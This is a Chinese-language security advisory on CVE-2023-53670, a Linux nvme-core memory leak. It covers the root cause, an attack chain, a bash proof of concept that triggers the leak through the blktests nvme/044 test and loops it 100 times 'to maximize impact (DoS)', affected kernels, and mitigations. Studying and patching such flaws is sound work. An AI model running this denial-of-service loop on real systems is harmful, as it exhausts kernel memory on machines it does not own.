CVE-2023-53670 Linux内核nvme-core内存泄漏漏洞

漏洞信息

漏洞编号

CVE-2023-53670

漏洞类型

内存泄漏

CVSS评分

5.5 中危

攻击向量

本地 (AV:L)

认证要求

低权限 (PR:L)

用户交互

无需交互 (UI:N)

影响产品

Linux Kernel (nvme_core模块)

漏洞概述

CVE-2023-53670是Linux内核nvme-core模块中存在的一个内存泄漏漏洞。该漏洞位于nvme_init_ctrl()函数中，当NVMe控制器初始化过程中出现错误时，由于没有正确调用dev_pm_qos_hide_latency_tolerance()函数来清理已分配的PM QoS（电源管理服务质量）资源，导致内存泄漏问题。

通过kmemleak工具可以检测到未引用的内存对象，这些对象在nvme_init_ctrl()调用dev_pm_qos_update_user_latency_tolerance()时被分配，但在错误处理路径中未被释放。该漏洞会持续消耗系统内存资源，虽然单次泄漏量较小（96字节），但在反复触发初始化失败的情况下，可能导致系统内存耗尽，影响系统可用性。

该漏洞的触发条件为本地低权限用户能够触发NVMe控制器初始化流程，例如通过nvme/044测试用例（双向认证测试）即可复现。CVSS评分为5.5，属于中危级别，主要影响系统的可用性，对机密性和完整性无影响。

该漏洞已在多个Linux内核稳定版本中得到修复，包括通过补丁2ed9a89192e3192e5fea7ff6475c8722513f325e、7237c26431cc78e5ec3259f4350f3dd58f6a4319等提交的修复方案。

技术细节

该漏洞的技术原理涉及Linux内核的PM QoS（Power Management Quality of Service）子系统和NVMe驱动初始化流程。

在nvme_core模块的nvme_init_ctrl()函数中，当初始化NVMe控制器时，会调用dev_pm_qos_update_user_latency_tolerance()来设置延迟容忍度，该函数内部通过kmalloc_trace()分配一个96字节的内存对象来存储QoS相关信息。

漏洞的根本原因在于错误处理路径不完整：当nvme_init_ctrl()在后续初始化步骤中失败时，控制流跳转到错误处理标签处，但该错误处理路径中没有调用dev_pm_qos_hide_latency_tolerance()来释放先前分配的PM QoS资源，导致内存泄漏。

利用方式方面，攻击者需要本地访问权限（PR:L），通过触发NVMe控制器初始化失败即可造成内存泄漏。例如：
1. 通过blktests测试框架运行nvme/044测试（双向认证测试）
2. 使用kmemleak-clear清除泄漏记录
3. 执行./check nvme/044触发初始化流程
4. 使用kmemleak-scan和kmemleak-show检测泄漏

通过反复触发该路径，攻击者可以持续消耗内核内存，最终可能导致系统性能下降或内存耗尽（DoS）。漏洞的调用栈显示泄漏发生在kmalloc_trace -> dev_pm_qos_update_user_latency_tolerance -> nvme_init_ctrl的调用链中。

攻击链分析

STEP 1

步骤1

攻击者获得本地系统的低权限访问权限（PR:L），这是利用该漏洞的前提条件

STEP 2

步骤2

攻击者通过特定操作触发NVMe控制器初始化流程，例如运行blktests的nvme/044双向认证测试

STEP 3

步骤3

在nvme_init_ctrl()函数执行过程中，dev_pm_qos_update_user_latency_tolerance()被调用，通过kmalloc_trace()分配96字节的PM QoS内存对象

STEP 4

步骤4

当NVMe控制器初始化失败时，控制流跳转到错误处理路径，但该路径未调用dev_pm_qos_hide_latency_tolerance()释放已分配的内存

STEP 5

步骤5

每次触发都会泄漏96字节的内核内存，攻击者通过反复触发初始化流程，持续消耗系统内存资源

STEP 6

步骤6

长期累积的内存泄漏可能导致系统内存耗尽，造成拒绝服务（DoS），影响系统可用性（A:H）

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

#!/bin/bash
# CVE-2023-53670 PoC - Trigger nvme-core dev_pm_qos memory leak
# This PoC triggers the memory leak by running nvme/044 test from blktests

# Step 1: Clear existing kmemleak records
# Requires root privileges and CONFIG_DEBUG_KMEMLEAK enabled
echo "Clearing kmemleak records..."
echo clear > /sys/kernel/debug/kmemleak 2>/dev/null || echo "kmemleak not available"

# Step 2: Run the nvme/044 test which triggers bidirectional authentication
# This test triggers nvme_init_ctrl() which allocates PM QoS memory
echo "Running nvme/044 test to trigger memory leak..."
cd /path/to/blktests
./check nvme/044

# Step 3: Scan and display kmemleak findings
echo "Scanning for memory leaks..."
echo scan > /sys/kernel/debug/kmemleak 2>/dev/null
sleep 5
echo "Displaying leak information:"
cat /sys/kernel/debug/kmemleak 2>/dev/null

# Expected output includes:
# unreferenced object 0xffff888110c46240 (size 96):
#   comm "nvme", pid 33461, jiffies 4345365353 (age 75.586s)
#   backtrace:
#     [<0000000069ac2cec>] kmalloc_trace+0x25/0x90
#     [<000000006acc66d5>] dev_pm_qos_update_user_latency_tolerance+0x6f/0x100
#     [<00000000cc376ea7>] nvme_init_ctrl+0x38e/0x410 [nvme_core]

# To maximize impact (DoS), repeat the trigger multiple times:
for i in $(seq 1 100); do
    ./check nvme/044 > /dev/null 2>&1
    echo "Iteration $i completed"
done

影响范围

Linux Kernel < 6.6 (包含nvme_core模块的版本)

Linux Kernel 6.6.x (受影响的稳定版本)

Linux Kernel 6.1.x (LTS受影响的稳定版本)

Linux Kernel 5.15.x (LTS受影响的稳定版本)

Linux Kernel 5.10.x (LTS受影响的稳定版本)

防御指南

临时缓解措施

在无法立即升级内核的情况下，建议采取以下临时缓解措施：1）限制普通用户对NVMe设备的访问权限，通过udev规则或文件权限控制；2）监控内核内存使用，设置内存使用告警；3）定期重启系统以释放泄漏的内核内存；4）避免运行可能触发NVMe控制器初始化失败的操作，如nvme/044双向认证测试；5）关注Linux发行版的安全公告，及时安装官方提供的安全更新。